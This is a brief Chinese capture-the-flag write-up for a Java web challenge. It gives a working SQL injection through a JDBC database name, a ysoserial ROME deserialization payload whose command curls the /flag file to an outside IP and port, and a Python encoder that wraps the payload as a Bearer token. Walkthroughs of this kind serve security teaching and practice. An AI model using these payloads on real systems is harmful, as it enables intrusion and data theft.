首先题目给了一些class文件,这些不需要多说,直接jd-gui
反编译或者使用fernflower反编译也可以
解题过程
-
先扫一下目录
得到swagger-ui.html
发现几个api接口 -
sql注入得到密码
源代码中明显存在SQL注入(dbName可控),但是必须满足两个条件,否则不能连接数据库- #号在引号里面时当做填充符,没有实际意义(这个只是在jdbc中这样?还没来得及验证)
- 最终:
jdbc:mysql://mysqldbserver:3306/myapp#‘ union select 1#
Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema =‘myapp#‘ union select 1# and table_name = ‘xxx’
这儿的#号对查询没有影响~
- 查询密码
-
登录获得token
这个一看就知道是java的序列化后的base64
编码(如果以aced
则为java序列化后的hex编码)然后我们把返回的data值输入到
/common/user/current
接口中,则显示操作成功
所以我们知道会在这个接口中进行java的反序列化 -
getflag
我们直接用ysoserial
来生成反序列化的值
java -jar ysoserial-0.0.5.jar ROME "curl http://174.1.101.83:555 -d @/flag" > HyyMbb.bin
然后进行编码
import base64
file = open("HyyMbb.bin","rb")
now = file.read()
ba = base64.b64encode(now)
#print(ba)
print("Bearer "+ba.decode('utf-8'))
#可以解注释此段,并注释上一条print,便于快速测试
file.close()
发送数据,在vps上监听555端口就可以获得flag了~~